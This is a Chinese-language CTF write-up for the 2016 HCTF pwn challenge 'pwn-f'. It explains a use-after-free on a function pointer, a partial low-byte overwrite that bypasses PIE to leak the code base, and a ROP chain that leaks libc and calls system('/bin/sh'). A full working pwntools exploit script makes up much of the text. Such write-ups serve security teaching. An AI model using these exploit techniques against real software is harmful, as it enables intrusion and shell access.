覆盖低位泄露.text地址绕过PIE(ASLR)

2017-12-24  本文已影响0人  BJChangAn

2016年hctf的一道pwn题就是干,同时涉及到PIE绕过、uaf、ROP的姿势,先看下防护基本上都开了:

程序本身功能比较简单:

所有的string用一个str_list来存储

0x00 泄露代码段地址

create string时,如果用户的数据长度大于15字节,就会malloc相应大小的内存,否则直接放到str_list中。同时把相应的delete函数也放到str_list中,而delete的时候直接执行这个函数指针。这就使我们可以进行uaf利用。

现在我们已经可以覆盖delete函数了,但是程序开启了PIE(ASLR),不能直接覆盖成我们想要的函数,首先要绕过PIE的防护。

libc每次加载基址会发生变化也是一种ASLR。开启了PIE后的地址,和libc加载时一样,都是在一个内存页的单位上进行变化,即地址的低三位(4KB=0x1000)是不变化的,所以我们可以通过溢出只覆盖已有地址的低三位(实际上只能覆盖低两位也就是一个字节)来控制流程。

例如这道题里,delete函数低位是d52

delete string的内容其实就是调用delete_func指针,参数是当前string的堆块,即delete_func(str_list[i])

在d2d的位置恰好有一个call _puts的指令可以用于泄露,而且位于main函数的循环中,可以进行下一步利用

覆盖之后,delete_fuc(str_list[i])就变成了puts(str_list[i]),如果把delete函数指针之前的24字节填充成不为零的话,puts会一直打印直到泄露出整个puts的函数指针,减去0xd2d就是代码段的基址。

0x02 构造ROP

回过头看delete string函数:

输入yes的时候,后面允许继续构造数据,而如果我们把delete_fuc函数指针覆盖为pop pop retn一类的rop来抬高栈顶,从而有可能返回到栈中我们构造的rop链去执行。

这里只需要一个pop pop pop pop retn的rop就可以返回到buff+8去执行,我们就可以在buff+8开始构造一个泄露free实际地址的rop链,泄露出puts地址后在到libc db去查询libc版本(出的writeup里用格式化字符串实现leak然后DynELF对于新来说有点开上帝视角了>^<!)

rop=p64(base_addr+0x11e3) #pop rdi ; retn

rop+=p64(base_addr+0x202018) #free got

rop+=p64(base_addr+0x990) #puts plt

rop+=p64(base_addr+0xc71) #retn to main

0x03 get shell

from pwn import *

p=process('./pwn-f')

libc=ELF('./libc6_2.23.so')

def create(size,data):

       p.recvuntil('3.quit')

       p.sendline('create ')

       p.recvuntil('Pls give string size:')

       p.sendline(str(size))

       p.recvuntil('str:')

       p.send(data)

def delete(index,yes):

        p.recvuntil('3.quit')

        p.sendline('delete ')

        p.recvuntil('id:')

        p.sendline(str(index))

        p.recvuntil('Are you sure?:')

        p.sendline(yes)

create(8,'a'*8)

create(8,'b'*8)

create(8,'c'*8)

delete(1,'yes')

delete(0,'yes') #

create(25,'A'*24+'\x2d')

delete(1,'yes')

p.recvuntil('A'*24)

base_addr=u64(p.recv(6).ljust(8,'\x00'))-0xd2d

print '.text base: ',hex(base_addr)

print 'str list addr: ',hex(base_addr+0x2020c0)

delete(1,'yes')

delete(0,'yes')

create(32,'1'*24+p64(base_addr+0x11dc)) #

rop=p64(base_addr+0x11e3) #pop rdi ; retn

rop+=p64(base_addr+0x202018) #free got

rop+=p64(base_addr+0x990) #puts plt

rop+=p64(base_addr+0xc71) #retn to main

delete(1,'yes'+'\x90'*5+rop)

free_addr=u64(p.recv(6).ljust(8,'\x00'))

print hex(free_addr)

libc_base=free_addr-libc.symbols['free']

system_addr=libc_base+libc.symbols['system']

sh_addr=libc_base+next(libc.search('/bin/sh'))

print 'system address: ',hex(system_addr)

print '/bin/sh address: ',hex(sh_addr)

#gdb.attach(p,'b* '+hex(base_addr+0xd95))

delete(1,'yes'+'\x90'*5+p64(base_addr+0x11e3)+p64(sh_addr)+p64(system_addr))

p.interactive()

上一篇下一篇

猜你喜欢

热点阅读